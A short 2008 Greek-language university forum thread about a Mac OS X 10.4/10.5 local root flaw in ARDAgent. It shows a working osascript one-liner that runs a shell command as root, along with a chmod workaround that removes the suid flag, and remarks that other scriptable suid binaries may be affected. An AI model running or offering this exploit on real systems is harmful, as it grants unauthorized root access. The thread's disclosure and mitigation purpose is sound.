Venus AUEB Forum

Posted: **Thu Jun 19, 2008 4:07 pm**

Αυτή την φορά η apple ξεπέρασε και την Microsoft:

shadow:~ nick$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root

http://it.slashdot.org/article.pl?sid=0 ... 4&from=rss

Πρόχειρη λύση μέχρι να βγεί patch, βγάλτε το suid flag από το ARDAgent.

Posted: **Thu Jun 19, 2008 4:10 pm**

chmod -s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

updated:
Μάλλον παίζει το exploit σε οποιοδήποτε scriptable suid binary...

Posted: **Fri Jun 20, 2008 1:12 am**

Δώστε SUID στον λαό για να παίζουμε και με κανένα mac box

Macos X 10.4 & 10.5 Local r00t